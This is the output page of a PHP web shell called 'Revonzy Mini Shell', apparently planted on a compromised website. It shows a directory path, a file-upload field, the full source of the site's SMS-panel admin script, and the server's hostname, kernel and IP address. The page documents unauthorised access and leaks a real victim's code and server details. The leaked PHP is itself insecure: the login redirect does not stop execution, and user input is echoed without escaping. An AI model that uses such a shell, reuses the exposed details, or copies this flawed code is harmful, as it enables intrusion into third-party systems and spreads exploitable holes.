Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/vsacademysolapur.in/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/vsacademysolapur.in/admin/sms-panel.php

<?php 
require_once('lib/function.php');

$db		=	new login_function();

	if(isset($_SESSION['current_login_admin']))
	{
		$current_login_admin	=	$_SESSION['current_login_admin'];
	}
	if(!isset($_SESSION['current_login_admin']))
	{	
		header("location:index.php");
	}
	
	$c_id="";
	$flag = 0;
	$contact_no_error="";
	$success_msg=0;
	$cust_name 	= "";
	$cust_id 	=	"";
	$cust_name	="";
	$cust_ids= "";
	$flag=0;
	
	//if Customer not selected then below function helps erroe not to occur.
	error_reporting(0);
	
	if(isset($_POST['send_btn']))
	{
		$c_id 		= $_POST['c_id'];
		
		if($c_id=="")
		{
		?>
				<script>
					alert('Please Select Customer Name to send message');
				</script>
		<?php
		}
		$language 	= $_POST['language'];
		$message 	= $_POST['message'];
		
		if($flag==0)
		{
			foreach($c_id as $record)
			{
				if(isset($_POST['c_id']))
				{
					$db->add_data($record,$language,$message);
					$success_msg = 1;
				}
				else
				{
				?>
				<script>
					alert('Please Select Customer Name to send message');
				</script>
				<?php
				}
			}
		}
	}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width initial-scale=1.0">
    <title>SMS Panel</title>
    <!-- GLOBAL MAINLY STYLES-->
    <link href="css/bootstrap.min.css" rel="stylesheet" />
    <link href="css/font-awesome.min.css" rel="stylesheet" />
    <link href="css/line-awesome.min.css" rel="stylesheet" />
    <link href="css/themify-icons.css" rel="stylesheet" />
    <link href="css/animate.min.css" rel="stylesheet" />
    <link href="css/toastr.min.css" rel="stylesheet" />
    <link href="css/bootstrap-select.min.css" rel="stylesheet" />
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">
  
    <!-- THEME STYLES-->
    <link href="css/main.min.css" rel="stylesheet" />
	<link href="datatable/datatables.min.css" rel="stylesheet" />

	<link href="css/animate.css" rel="stylesheet" type="text/css" media="all">
	<script src="js/wow.min.js"></script>
	<script>
	function validateForm() {
	  var a = document.forms["myForm"]["c_id"].value;
	  var b = document.forms["myForm"]["language"].value;
	  var c = document.forms["myForm"]["message"].value;
	 
	 if (a == "") {
		alert("Select Customer Name");
		return false;
	  }
	 
	  if (b == "") {
		alert("Select Language");
		return false;
	  }
	  
	  if (c == "") {
		alert("Enter Message");
		return false;
	  }
	  
	}
	</script>
<script language="JavaScript">
function toggle(source) {
  checkboxes = document.getElementsByName('c_id[]');
  for(var i=0, n=checkboxes.length;i<n;i++) {
    checkboxes[i].checked = source.checked;
  }
}
</script>
<style>
	.customer-data:hover
	{
		background-color:#FCD6E9;
	}
</style>
</head>
<body class="fixed-navbar">
  
<div class="page-wrapper" style="min-height:500px;">
<?php include('header.php'); ?>
<?php include('side-bar.php'); ?>
<div class="content-wrapper">
<?php
					if($success_msg == 1)
					{?>
					<div class="alert alert-success" style="margin-top:10px;">

					Information Saved Successfully.
					</div>
					<?php
					}
				?>
<div class="row" style="padding:0px; margin:0px; margin-top:15px; border-radius:15px;">
				
<div class="ibox col" style="border-radius:5px; padding:7px;">
	<?php
			if(isset($_POST['add_btn']))
			{
				$cust_name = $_POST['cust_name'];
				$cust_id = $_POST['cust_id'];
			}
			
	?>	
	 <form class="form-pink" method="post" action="<?php echo $_SERVER['PHP_SELF']?>" name="myForm" onsubmit="return validateForm()" autocomplete="off" enctype="multipart/form-data">
		<div class="ibox-head">
			<div class="ibox-title"><i class="fas fa-comments" style="margin-right:10px;"></i>SMS Panel</div>
		</div>
		<div class="ibox-body">
			<div class="row">
				<div class="col-sm-4 col-md-4 col-lg-4 form-group mb-6">
					<label class="form-group mb-4 set-row label_marg"><b>Enter Customer Name</b></label>
					<div class="input-group-icon input-group-icon-left  set-row">
						<span class="input-icon input-icon-left"><i class="fas fa-user"></i></span>
						<input type="text" name="cust_name" id="cust_name" class="form-control form-control-air" value="<?php echo $cust_name; ?>" placeholder="Enter Customer Name"  />
					</div>
				</div>
				<div class="col-sm-4 col-md-4 col-lg-4 form-group mb-6">
					<label class="form-group mb-4 set-row label_marg"><b>Enter Customer ID</b></label>
					<div class="input-group-icon input-group-icon-left  set-row">
						<span class="input-icon input-icon-left"><i class="fas fa-exclamation"></i></span>
						<input type="text" name="cust_id" id="cust_id" class="form-control form-control-air" value="<?php echo $cust_id; ?>" placeholder="Enter Customer ID"    />
						
					</div>
				</div>
				<div class="col-sm-3 col-md-3 col-lg-3 form-group mb-6" style="text-align:center; padding-left:0px; padding-right:0px;margin-top:22px;">
					<button class="btn btn-pink btn-air" type="submit" name="add_btn" style="width:100%;">SEARCH</button>
				</div>
			</div>
			<!--<center><a href="" style="color:red;font-weight:bold;">Back To List</a></center>-->
		</div>
	</form>
	
	<form class="form-pink" method="post" action="<?php echo $_SERVER['PHP_SELF']?>" name="myForm" onsubmit="return validateForm()" autocomplete="off" enctype="multipart/form-data">
		<div class="ibox-body">
		
			<div class="row">
				
					<div class="col-sm-6 col-md-6 col-lg-6 form-group mb-6" style="overflow:scroll;">
						<label style="background-color:#5CF9EF;width:100%;border-radius:2px;padding:5px;text-align:center;font-weight:bold;">Customer List</label><br />
						<label><input type="checkbox" onClick="toggle(this)" class="list-design" /> Select All</label>
						<?php
							$report_details	=	$db->only_customers_by_id_and_name($cust_name,$cust_id);
							if(!empty($report_details))
							{
								$counter	=	0;
								foreach($report_details as $record)
								{	
									$c_id		=	$report_details[$counter][0];
									$name		=	$report_details[$counter][1];
									?>
								<div class="list-group customer-data">
									<a href="#!" class="list-group-item list-group-item-action"><input type="checkbox" name="c_id[]" id="c_id" value="<?php echo $c_id; ?>"> <?php echo $name;?></a>
								</div>
								<?php	
									$counter++;
								}
							}
							?>
					</div>						
						
						
					<div class="col-lg-6">
						<div class="form-group">
							<label>Select Language</label>
							   <select name="language" class="form-control" >
									<option value="Select">Select Language</option>
									<option value="Hindi">Hindi</option>
									<option value="Marathi">Marathi</option>
									<option value="English">English</option>
							   </select>

						</div>
						<div class="form-group">
                                   <label>Type Message</label><br />
									<textarea name="message" placeholder="Type Message Here" cols="10" rows="10" class="form-control"></textarea>
						</div>									
								
						<center><button type="submit" class="btn btn-pink btn-air" name="send_btn">Send SMS </button></center>
					</div>
			</div>
		</div>
		</form>
				
				
			<!--<center><a href="" style="color:red;font-weight:bold;">Back To List</a></center>-->
		</div>
	</form>
	</div>
</div>
</div>

</div>
</div>
<?php include('footer.php'); ?>
</div>
    </div>
    <?php //include('search.php'); ?>
   
    <div class="sidenav-backdrop backdrop"></div>
    <div class="preloader-backdrop">
        <div class="page-preloader">Loading</div>
    </div>
    
    <script src="js/jquery.min.js"></script>
    <script src="js/popper.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/metisMenu.min.js"></script>
    <script src="js/jquery.slimscroll.min.js"></script>
    <script src="js/idle-timer.min.js"></script>
    <script src="js/toastr.min.js"></script>
    <script src="js/jquery.validate.min.js"></script>
    <script src="js/bootstrap-select.min.js"></script>
	<script src="datatable/datatables.min.js"></script>
    <script src="js/app.min.js"></script>
	
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4